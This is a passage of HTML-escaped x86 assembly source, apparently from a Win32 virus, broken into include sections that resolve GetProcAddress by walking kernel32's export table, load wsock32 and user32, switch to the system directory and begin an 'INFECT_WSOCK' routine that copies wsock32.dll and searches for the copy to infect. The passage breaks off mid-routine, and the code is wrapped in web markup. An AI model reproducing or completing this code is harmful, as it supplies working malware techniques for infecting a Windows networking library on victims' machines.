with&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add eax, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; pointers to names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp + addressofnames], eax&lt;span style=""&gt;                       &lt;/span&gt;; of functions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 24h]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table with&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; pointers to ordinals&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + addressofordinals], eax&lt;span style=""&gt;            &lt;/span&gt;; of functions&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;BeginProcAddressSearch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressofnames]&lt;span style=""&gt;                       &lt;/span&gt;; search for GetProc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp + AONindex], esi&lt;span style=""&gt;                     &lt;/span&gt;; Address API in names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [esi]&lt;span style=""&gt;                                &lt;/span&gt;; table&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add edi, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;xor ecx, ecx&lt;span style=""&gt;                                  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;lea ebx, [ebp + AGetProcAddress]&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;TryAgain:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, ebx&lt;span style=""&gt;                                  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MatchByte:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jne NextOne&lt;span style=""&gt;                                   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;cmp byte ptr [esi], 0&lt;span style=""&gt;                         &lt;/span&gt;; did the entire string&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;je GotIt&lt;span style=""&gt;                                      &lt;/span&gt;; match ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jmp MatchByte&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NextOne:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;inc cx&lt;span style=""&gt;                                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add dword ptr [ebp + AONindex], 4&lt;span style=""&gt;             &lt;/span&gt;; get next namepointer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + AONindex]&lt;span style=""&gt;                     &lt;/span&gt;; in table (4 dwords)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [esi]&lt;span style=""&gt;                                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add edi, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; align with kernelbase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;jmp TryAgain&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GotIt:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shl ecx, 1&lt;span style=""&gt;                                    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressofordinals]&lt;span style=""&gt;            &lt;/span&gt;; ordinal = nameindex *&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add esi, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; size of ordinal entry&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;xor eax, eax&lt;span style=""&gt;                                  &lt;/span&gt;; + ordinal table base&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov ax, word ptr [esi]&lt;span style=""&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shl eax, 2&lt;span style=""&gt;                                    &lt;/span&gt;; address of function =&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [ebp + addressoffunctions]&lt;span style=""&gt;           &lt;/span&gt;; ordinal * size of&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add esi, eax&lt;span style=""&gt;                                  &lt;/span&gt;; entry of address &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, dword ptr [esi]&lt;span style=""&gt;                      &lt;/span&gt;; table + base of &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add edi, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; addresstable&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp + AGetProcAddressA], edi&lt;span style=""&gt;             &lt;/span&gt;; save GPA address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;span style=""&gt;     &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_GETPROCADDRESS_API_ADDRESS endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;===========================[ ic-get_bases.inc ]============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_WSOCK32_BASE_ADDRESS proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;LoadWsock32:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock32]&lt;span style=""&gt;                      &lt;/span&gt;; not found, then&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;; load the dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ALoadLibrary]&lt;span style=""&gt;                 &lt;/span&gt;; first&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + wsock32address], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_WSOCK32_BASE_ADDRESS endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_USER32_BASE_ADDRESS proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetUser32Base:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + user32]&lt;span style=""&gt;                               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ALoadLibrary]&lt;span style=""&gt;                 &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;span style=""&gt;                                   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + user32address], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_USER32_BASE_ADDRESS endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================[ ic-get_api.inc ]=============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETAPI proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + kernel32address]&lt;span style=""&gt;                &lt;/span&gt;; load kernelbase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call [ebp + AGetProcAddressA]&lt;span style=""&gt;                 &lt;/span&gt;; and get api address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp eax&lt;span style=""&gt;                                       &lt;/span&gt;; call the api&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;span style=""&gt;                                           &lt;/span&gt;; return&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETAPI endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETUAPI proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + user32address]&lt;span style=""&gt;          &lt;/span&gt;; load wsockbase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call [ebp + AGetProcAddressA]&lt;span style=""&gt;                 &lt;/span&gt;; and get api address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETUAPI endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETWAPI proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + wsock32address]&lt;span style=""&gt;         &lt;/span&gt;; load wsockbase&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call [ebp + AGetProcAddressA]&lt;span style=""&gt;                 &lt;/span&gt;; and get api address&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GETWAPI endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;==========================[ ic-directory.inc ]=============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_WINDIR proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetWindowsDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 128h&lt;span style=""&gt;                                     &lt;/span&gt;; size of dirstring&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + windir]&lt;span style=""&gt;                               &lt;/span&gt;; save it here&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGetWindowsDirectory]&lt;span style=""&gt;         &lt;/span&gt;; get windowsdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_WINDIR endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_SYSDIR proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetSystemDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 128h&lt;span style=""&gt;                                     &lt;/span&gt;; size of dirstring&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + sysdir]&lt;span style=""&gt;                               &lt;/span&gt;; save it here&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGetSystemDirectory]&lt;span style=""&gt;          &lt;/span&gt;; get system dir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_SYSDIR endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SET_WINDIR proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetWindowsDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + windir]&lt;span style=""&gt;                               &lt;/span&gt;; change to sysdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetCurrentDirectory]&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SET_WINDIR endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SET_SYSDIR proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetSystemDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + sysdir]&lt;span style=""&gt;                               &lt;/span&gt;; change to sysdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetCurrentDirectory]&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SET_SYSDIR endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-infect_wsock.inc ]===========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INFECT_WSOCK proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WsockSetSystemDirectory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_SYSDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CopyWSockFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock32inf]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock32dll]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACopyFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SearchWsockFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + infectionflag], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + myfinddata]&lt;span style=""&gt;                   &lt;/span&gt;; win32 finddata structure&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock32inf]&lt;span style=""&gt;                   &lt;/span&gt;; get wsock32.inf&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AFindFirstFile]&lt;span style=""&gt;               &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;; find the first file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, 0FFFFFFFh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je WsockEndSearch&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    